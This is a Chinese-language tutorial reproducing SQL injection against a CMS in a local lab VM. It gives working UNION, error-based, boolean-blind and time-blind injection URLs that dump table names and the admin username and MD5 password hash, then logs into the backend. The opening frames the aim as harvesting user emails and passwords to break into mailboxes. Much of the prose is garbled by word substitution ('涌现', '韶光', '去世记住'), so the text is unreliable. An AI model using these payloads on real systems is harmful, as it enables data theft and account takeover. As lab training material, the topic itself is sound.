利用此漏洞能够看到数据库所有表数据,如用户数据表可获取用户名、密码、邮箱等数据,进而通过获取到的邮箱与密码,可碰撞上岸邮箱获取互换邮件等。
环境解释
复现过程:
第一步:搭建实验环境。

1、准备一台windows2008虚拟机,并将其设置为桥接状态,并查看ip地址。
我所实验的内网网段为10.10.20.0/24
2、将我们的xampp工具复制到08虚拟机中,并且双击安装。
安装过程一贯点击next即可,详细操作可以查看视频步骤,安装完成后点击finish。
措辞直接点save即可。
3、涌现如下界面,须要做点优化。
点击最左侧service下方的前两个X号,涌现提示,点击yes,之后图标修正为√号。
之后点击中间的Actions那一列下的Apache和MySQL按钮,启动做事,然后关闭。
4、用真实机的浏览器,访问2008虚拟机的ip地址,涌现以下界面,则解释xampp安装成功,并且已经开启了apache做事
打开windows2008虚拟机的C盘,将多余的文件删除即可。
然后进入到xampp文件夹,找到htdocs文件夹点击进入,在里面新建一个文件夹取名为bak,并且将htdocs原有的文件拖到bak文件夹中。
在真实机中的浏览器中刷新页面,涌现Object not found!
将/dashboard/去掉,便在根目录下有一个bak的文件夹
5、打开C盘根目录下的xampp文件夹,找到名为mysql的文件夹,进入文件夹后,有一个名为bin的文件夹,双击进入,将文件的后缀名显示出来可以看到都是.exe的文件
将此文件夹所在的路径复制下来即:C:\xampp\mysql\bin
6、修正环境变量,使mysql命令可以在cmd的命令中运行。
详细操作为:
右键打算机à属性à高等系统设置à环境变量à找到下方的系统变量Pathà选定后,点击编辑à点击右箭头,在末了添加;+刚才复制的路径。如:(; C:\xampp\mysql\bin)
修正完环境变量后,重启cmd命令,之后输入mysql -uroot。如果涌现如下界面,解释环境变量修正成功。就可以输入数据库的命令利用。
7、将准备好的cms压缩包,复制到windows2008的C盘下的htdocs目录下。
先将压缩包中的第一个文件夹复制过去,然后打开cms文件夹,再将剩下的两个文件复制到cms文件夹下。
8、将install.sql导入到数据库中。
show databases; 查看都有哪些数据库
create database cms; 创建一个名为cms的数据库
use cms; 利用cms数据库
source C:\\xampp\\htdocs\\cms\\install.sql; 将install.sql文件导入到数据库
show tables; 查看cms数据库中的表名
此时,我们刷新真实机的浏览器的页面,在bak文件夹下面有个cms文件夹,双击打开看到一个文章管理系统界面,解释我们的实验环境搭建完成了。
第二步:用SQL注入的4中注入手腕进行漏洞验证,终极目的能获取管理员的账号密码,并且能成功上岸管理员后台。
1、 联合查询
http://10.10.20.60/cms/show.php?id=33’ 涌现报错
http://10.10.20.60/cms/show.php?id=33 and 1=1 页面正常显示
http://10.10.20.60/cms/show.php?id=33 and 1=2 页面不正常显示
解释该网站存在SQL注入漏洞。
http://10.10.20.60/cms/show.php?id=33 order by 15 页面正常显示
http://10.10.20.60/cms/show.php?id=33 order by 16 页面报错
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
创造页面有回显:3和11
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15 爆数据库名和查看数据库版本
http://10.10.20.60/cms/show.php?id=-33
+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat (table_name)),12,13,14,15 from information_schema.tables where table_schema=database() 爆数据库中的所有表名,涌现一段数字,复制下来进行解码
新建一个窗口,中间位置有个0xHEX,点击左边的箭头为解码,将数字复制到解码栏中。
然后,在空缺界面涌现解码后的数据库中的所有表名。
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
爆表名为cms_users中的所有字段名。
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
同样涌现一串数字,步骤和上一步一样,进行复制解码。
得到字段名:
userid,username,password
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users 脱库
到此,我们得到了用户名为admin,密码利用的为MD5加密值,我们百度搜索MD5在线解密即可。
至此,我们得到用户名:admin,密码:123456
考试测验登录后台管理账户,看是否能登录成功
成功登录到了后台管理账户。
2、 报错注入;
http://10.10.20.60/cms/show.php?id=33’
当我们添加一个’时,会有报错提示,此时我们可以考虑报错注入。
公式:(去世记住就可)
(1) http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(想要实行的SQL语句),'^'))
(2) http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(想要实行的SQL语句),'^'),1)
http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select database()),'^'))
http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select version()),'^'))
http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select version()),'^'),1)
http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select database()),'^'),1)
3、 布尔盲注;
通过SQL语句验证数据库的名字长度为几位,多考试测验,最长26位
http://10.10.20.60/cms/show.php?id=33 and length(database())>3 页面不正常显示
http://10.10.20.60/cms/show.php?id=33 and length(database())=3 页面正常显示
http://10.10.20.60/cms/show.php?id=33 and length(database())<3 页面不正常显示
由此我们可以确定数据库的名字位数位3位。
下面我们根据ascii码表,来爆破数据库名的第一个单词
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))<99 页面不正常显示
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))=99 页面正常显示
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))>99 页面不正常显示
即是99时,页面正常,解释数据库的第一字母的ascii码值为99
通过查看ascii码表,可以看到99对应的为小写字母c
依此类推,利用这种方法即可爆出数据库名,但事情量较大,建议写个python脚本跑一下,可以提高效率。
4、 韶光盲注;
http://10.10.20.60/cms/show.php?id=33 and sleep(5)
使浏览器沉睡5s,在实行命令
可以看到上方浏览器在转了5s之后,才实行完成,通过F12,网络韶光线可以看到为5s旁边。
http://10.10.20.60/cms/show.php?id=33 and if(length(database())=3,sleep(5),0)
当数据库的名字长度为3位时,浏览器沉睡5s在实行命令。
数据库的名字长度不为3位数时,浏览器直接实行命令。
在确定了数据库的名字位数后,下一步,我们和布尔盲注确定数据库第一位字母的思路相同。
http://10.10.20.60/cms/show.php?id=33 and if(ord(substr(database(),1,1))=99,sleep(5),0)
(当数据库的第一个字母的ascii码值为99的时候,浏览器沉睡5s在实行命令;否则,浏览器将直接实行命令)
当数据库第一个字母的ascii码值不是99时,为以下情形:
由此,我们可以确定,数据库名字的第一个字母的ascii码值为99,通过上网查询ascii码对照表,我们知道了acsii码为99的对应的为小写字母c。
依此类推,我们用相同的办法得到数据库的第二位字母、第三位字母…
到此,我们对此网站进行的SQL注入四大手腕的漏洞复现过程基本完成。
注:
以上实验环境及实验过程,在实现漏洞复现的过程中没有创造任何问题,如依据本文档内容进行复现过程中创造任何问题,请自行检讨自己的实验环境及实验步骤是否涌现问题!
!
!